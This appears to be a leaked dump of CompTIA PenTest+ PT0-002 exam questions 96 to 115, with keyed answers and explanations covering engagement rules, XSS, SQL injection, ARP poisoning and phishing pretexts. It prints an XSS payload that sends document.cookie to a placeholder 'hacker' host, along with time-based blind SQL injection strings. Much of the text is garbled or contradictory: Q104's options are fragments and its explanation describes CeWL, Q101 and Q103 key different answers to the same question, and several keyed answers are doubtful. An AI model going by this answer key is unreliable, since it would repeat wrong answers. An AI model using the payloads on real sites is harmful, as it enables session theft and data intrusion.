Share Latest Dec-2025 PT0-002 DUMP with 460 Questions and Answers
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NEW QUESTION # 96
When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?
- A. Obtain an asset inventory from the client.
- B. Clarify the statement of work.
- C. Identify all third parties involved.
- D. Interview all stakeholders.
Answer: B
NEW QUESTION # 97
A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?
- A. Assume the alert is from the penetration test.
- B. Deconflict with the penetration tester.
- C. Halt the penetration test.
- D. Contact law enforcement.
Answer: D
NEW QUESTION # 98
The following PowerShell snippet was extracted from a log of an attacker machine:
A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?
- A. Line 19
- B. Line 13
- C. Line 8
- D. Line 20
Answer: C
Explanation:
$X=2,4,6,8,9,20,5
$y=[System.Collections.ArrayList]$X
$y.RemoveRange(1,2) As you can see the arrat has no brackets and no periods. IT HAS SEMICOLLINS TO SEPERATE THE LISTED ITEMS OR VALUES.
NEW QUESTION # 99
A penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following best explains why the penetration tester should immediately obscure portions of the images before saving?
- A. To maintain confidentiality of data/information
- B. To make the hashes appear shorter and easier to crack
- C. To avoid disclosure of how the hashes were obtained
- D. To prevent analysis based on the type of hash
Answer: A
Explanation:
When a penetration tester captures screen images that include hashes from a domain controller, obscuring parts of these images before saving is crucial to maintain the confidentiality of sensitive data. Hashes can be considered sensitive information as they represent a form of digital identity for users within an organization.
Revealing these hashes in full could lead to unauthorized access if the hashes were to be cracked or otherwise misused by malicious actors. By partially obscuring the images, the penetration tester ensures that the data remains confidential and reduces the risk of compromising user accounts and the integrity of the organization's security posture.
NEW QUESTION # 100
Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?
- A. The team exfiltrates PII or credit card data from the organization.
- B. The team discovers another actor on a system on the network.
- C. The team loses access to the network remotely.
- D. The team exploits a critical server within the organization.
Answer: B
NEW QUESTION # 101
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Base64 encoding
- B. Output encoding
- C. Parameterized queries
- D. Input validation
- E. Session tokens
- F. Web-application firewall
Answer: B,D
Explanation:
Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the < string when writing to an HTML page.
Output encoding and input validation are two of the best methods to prevent against this type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique that converts user-supplied input into a safe format that prevents malicious scripts from being executed by browsers or applications. Input validation is a technique that checks user-supplied input against a set of rules or filters that reject any invalid or malicious data. Web-application firewall is a device or software that monitors and blocks web traffic based on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized queries are a technique that separates user input from SQL statements to prevent SQL injection attacks, but they do not prevent XSS attacks. Session tokens are values that are used to maintain state and identify users across web requests, but they do not prevent XSS attacks. Base64 encoding is a technique that converts binary data into ASCII characters for transmission or storage purposes, but it does not prevent XSS attacks.
NEW QUESTION # 102
During a penetration test of a server application, a security consultant found that the application randomly crashed or remained stable after opening several simultaneous connections to the application and always submitting the same packets of dat
a. Which of the following is the best sequence of steps the tester should use to understand and exploit the vulnerability?
- A. Attach a remote profiler to the server application. Establish a random number of connections to the server application. Send fixed packets of data simultaneously using those connections.
- B. Attach a local disassembler to the server application. Establish a single connection to the server application. Send fixed packets of data simultaneously using that connection.
- C. Attach a remote debugger to the server application. Establish a large number of connections to the server application. Send fixed packets of data simultaneously using those connections.
- D. Attach a remote disassembler to the server application. Establish a small number of connections to the server application. Send fixed packets of data simultaneously using those connections.
Answer: C
Explanation:
To understand and exploit the vulnerability causing the server application to crash or remain stable after opening several simultaneous connections, the best approach is to attach a remote debugger to the application. This allows the penetration tester to monitor the application's behavior in real-time without affecting the stability of the testing environment. Establishing a large number of connections to the server and sending fixed packets of data simultaneously can help to reproduce the issue consistently, which is crucial for identifying the cause of the crashes. Analyzing the application's response and debugging data will provide insights into potential buffer overflow, race conditions, or other vulnerabilities.
Reference:
Effective Debugging Techniques
Fuzz Testing and Debugging
NEW QUESTION # 103
Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT> Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)
- A. Base64 encoding
- B. Parameterized queries
- C. Input validation
- D. Output encoding
- E. Session tokens
- F. Web-application firewall
Answer: B,C
NEW QUESTION # 104
A penetration tester wrote the following Bash script to brute force a local service password:
..ting as expected. Which of the following changes should the penetration tester make to get the script to work?
- A. .e
cho "The correct password is $p" && break)
o "The correct password is $p" I break - B. .
{ echo "The correct password is $p" && break )
With - C. e
cho "The correct password is Sp" && break)
echo "The correct password is $p" && break) - D. ..e
cho "The correct password is $p" && break)
ho "The correct password is $p" I| break - E. ( echo "The correct password is $p" && break )
Answer: A
Explanation:
Explanation
CeWL is a tool that can be used to crawl a website and build a wordlist using the data recovered to crack the password on the website. CeWL stands for Custom Word List generator, and it is a Ruby script that spiders a given website up to a specified depth and returns a list of words that can be used for password cracking or other purposes. CeWL can also generate wordlists based on metadata, email addresses, author names, or external links found on the website. CeWL can help a penetration tester create customized wordlists that are tailored to the target website and increase the chances of success for password cracking attacks. DirBuster is a tool that can be used to brute force directories and files names on web servers. w3af is a tool that can be used to scan web applications for vulnerabilities and exploits. Patator is a tool that can be used to perform brute force attacks against various protocols and services.
NEW QUESTION # 105
A consultant is reviewing the following output after reports of intermittent connectivity issues:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]
? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet]
Which of the following is MOST likely to be reported by the consultant?
- A. A multicast session was initiated using the wrong multicast group.
- B. A device on the network has an IP address in the wrong subnet.
- C. A device on the network has poisoned the ARP cache.
- D. An ARP flooding attack is using the broadcast address to perform DDoS.
Answer: C
Explanation:
The gateway for the network (192.168.1.1) is at 0a:d1:fa:b1:01:67, and then, another machine (192.168.1.136) also claims to be on the same MAC address. With this on the same network, intermittent connectivity will be inevitable as along as the gateway remains unreachable on the IP known by the others machines on the network, and given that the new machine claiming to be the gateway has not been configured to route traffic.
The output shows an ARP table that contains entries for IP addresses and their corresponding MAC addresses on a local network interface (en0). ARP stands for Address Resolution Protocol and is used to map IP addresses to MAC addresses on a network. However, one entry in the table is suspicious:
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
This entry has the same MAC address as another entry:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
This indicates that a device on the network has poisoned the ARP cache by sending false ARP replies that associate its MAC address with multiple IP addresses, including 192.168.1.136 and 192.168.1.1 (which is likely the gateway address). This allows the device to intercept or redirect traffic intended for those IP addresses.
NEW QUESTION # 106
For an engagement, a penetration tester is required to use only local operating system tools for file transfer.
Which of the following options should the penetration tester consider?
- A. Netstat
- B. WinSCP
- C. Netcat
- D. Filezilla
Answer: C
Explanation:
Netcat is a versatile networking utility which reads and writes data across network connections, using the TCP
/IP protocol. It's included in many Linux distributions and is available for Windows as well. Since the requirement is to use only local operating system tools for file transfer, Netcat is a suitable option because it can easily be scripted or used directly from the command line to send and receive files, making it a powerful tool for file transfers in a penetration testing context. Options B and C, WinSCP and Filezilla, are not typically considered local operating system tools as they are third-party applications that need to be installed.
Option D, Netstat, is a network utility that displays network connections, routing tables, and a number of network interface and network protocol statistics, and is not used for file transfers.
NEW QUESTION # 107
A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?
- A. The Diamond Model of Intrusion Analysis
- B. NIST Cybersecurity Framework
- C. OWASP Top 10
- D. MITRE ATT&CK framework
Answer: D
Explanation:
The MITRE ATT&CK framework is a methodology that should be used to best meet the client's expectations.
The MITRE ATT&CK framework is a knowledge base of adversary tactics, techniques, and procedures (TTPs) that are continuously updated based on real-world observations. The framework covers a wide variety of enterprise systems and networks, such as Windows, Linux, macOS, cloud, mobile, and network devices.
The framework can help the penetration tester to emulate realistic threats and identify gaps in defenses.
NEW QUESTION # 108
During an assessment of a web application, a penetration tester would like to test the application for blind SQL injection. Which of the following techniques should the penetration tester perform next?
- A. 1" ORDER BY 1-+
- B. xyz' AND (SELECT CASE WHEN (1-1) THEN 1/0 ELSE *a* END)-'a)
- C. "; IF (1 = 1) WA1TFOR DELAY '0:0:10* -
- D. xyz' AND '!' = "1
Answer: C
NEW QUESTION # 109
An organization wants to identify whether a less secure protocol is being utilized on a wireless network.
Which of the following types of attacks will achieve this goal?
- A. Packet sniffing
- B. Four-way handshake
- C. Protocol negotiation
- D. Downgrade attack
Answer: D
Explanation:
Explanation
A downgrade attack is a type of attack that exploits a vulnerability in the protocol negotiation process between a client and a server to force them to use a less secure protocol than they originally intended. A downgrade attack can be used to identify whether a less secure protocol is being utilized on a wireless network by intercepting and modifying the messages exchanged during the protocol negotiation phase, such as the association request and response frames, and making the client and the server agree on a weaker protocol, such as WEP or WPA, instead of a stronger one, such as WPA2 or WPA3. A downgrade attack can also enable the attacker to perform other attacks, such as cracking the encryption keys or capturing the network traffic, more easily by taking advantage of the weaknesses of the less secure protocol. A downgrade attack can be performed by using tools such as Airgeddon, which is a multi-use bash script for Linux systems to audit wireless networks1.
NEW QUESTION # 110
A penetration tester managed to exploit a vulnerability using the following payload:
IF (1=1) WAIT FOR DELAY '0:0:15'
Which of the following actions would best mitigate this type ol attack?
- A. Sanitizing HTML
- B. Encrypting passwords
- C. Encoding output
- D. Parameterizing queries
Answer: D
Explanation:
The payload used by the penetration tester is a type of blind SQL injection attack that delays the response of the database by 15 seconds if the condition is true. This can be used to extract information from the database by asking a series of true or false questions. To prevent this type of attack, the best practice is to use parameterized queries, which separate the user input from the SQL statement and prevent the injection of malicious code. Encrypting passwords, encoding output, and sanitizing HTML are also good security measures, but they do not directly address the SQL injection vulnerability. Reference:
The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 5: Attacks and Exploits, Section 5.2: Perform Network Attacks, Subsection: SQL Injection, p. 235-237 Blind SQL Injection | OWASP Foundation, Description and Examples sections Time-Based Blind SQL Injection Attacks, Introduction and Microsoft SQL Server sections
NEW QUESTION # 111
Which of the following tools would BEST allow a penetration tester to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine?
- A. Wireshark
- B. Kismet
- C. Aircrack-ng
- D. EAPHammer
Answer: C
Explanation:
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1].
Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.
The BEST tool to capture wireless handshakes to reveal a Wi-Fi password from a Windows machine is Aircrack-ng. Aircrack-ng is a suite of tools used to assess the security of wireless networks. It starts by capturing wireless network packets [1], then attempts to crack the network password by analyzing them [1].
Aircrack-ng supports FMS, PTW, and other attack types, and can also be used to generate keystreams for WEP and WPA-PSK encryption. It is capable of running on Windows, Linux, and Mac OS X.
NEW QUESTION # 112
A penetration tester is enumerating shares and receives the following output:
Which of the following should the penetration tester enumerate next?
- A. print$
- B. home
- C. notes
- D. dev
Answer: D
Explanation:
The output displayed is typical of what one might see when using a tool like smbclient or enum4linux to list shared directories on a system that uses the SMB (Server Message Block) protocol. Here's a brief overview of the shared resources that have been found:
1.print$ - This share is generally used for printer drivers.
2.home - Could be a user's home directory, usually requires authentication.
3.dev - Suggests a development environment, possibly containing code, scripts, or tools that could be useful for further penetration.
4.notes - This has read and write permissions and could contain information such as user notes or documentation.
While all these shares could potentially provide valuable information, the dev share stands out for several reasons:
*Development Environment: As it seems to be a development share, it may contain scripts, tools, or code repositories which could be less secure than production environments and possibly contain sensitive information such as hardcoded credentials, configuration files, or backup files.
*Standard Names: Shares like print$ and home are common and are likely to be properly secured or to contain less sensitive information.
*Writable Share: The notes share is also interesting because it has read and write permissions, which could be exploited to upload malicious files or modify existing ones. However, the potential for finding exploitable material or sensitive information might be higher with the dev share.
In penetration testing, the goal is to find the path of least resistance that provides the highest potential for deeper access or sensitive information discovery. The dev share represents a target that could yield such information or further avenues for exploitation, making it the next logical step for enumeration.
NEW QUESTION # 113
Given the following code:
Which of the following data structures is systems?
- A. A tree
- B. A dictionary
- C. A tuple
- D. An array
Answer: B
Explanation:
A dictionary is a data structure in Python that stores key-value pairs, where each key is associated with a value. A dictionary is created by enclosing the key-value pairs in curly braces and separating them by commas. A dictionary can be accessed by using the keys as indexes or by using methods such as keys(), values(), or items(). In the code, systems is a dictionary that has four key-value pairs, each representing an IP address and its corresponding operating system. A tuple is a data structure in Python that stores an ordered sequence of immutable values, enclosed in parentheses and separated by commas. A tree is a data structure that consists of nodes connected by edges, forming a hierarchical structure with a root node and leaf nodes.
An array is a data structure that stores a collection of elements of the same type in a contiguous memory location.
NEW QUESTION # 114
ion tester is attempting to get more people from a target company to download and run an executable. Which of the following would be the.. :tive way for the tester to achieve this objective?
- A. Attaching the file in a phishing SMS that warns users to execute the file or they will be locked out of their accounts
- B. Sending a pretext email from the IT department before sending the download instructions later
- C. Saving the file in a common folder with a name that encourages people to click it
- D. Dropping USB flash drives around the company campus with the file on it
Answer: B
Explanation:
Explanation
The most effective way for the tester to achieve this objective is to send a pretext email from the IT department before sending the download instructions later. A pretext email is an email that uses deception or impersonation to trick users into believing that it is from a legitimate source or authority, such as the IT department. A pretext email can be used to establish trust or rapport with the users, and then persuade them to perform an action or provide information that benefits the attacker. In this case, the tester can send a pretext email from the IT department that informs users about an important update or maintenance task that requires them to download and run an executable file later. The tester can then send another email with the download instructions and attach or link to the malicious executable file. The users may be more likely to follow these instructions if they have received a prior email from the IT department that prepared them for this action. The other options are not as effective ways for the tester to achieve this objective. Dropping USB flash drives around the company campus with the file on it may not reach many users, as they may not find or pick up the USB flash drives, or they may be suspicious of their origin or content.
NEW QUESTION # 115
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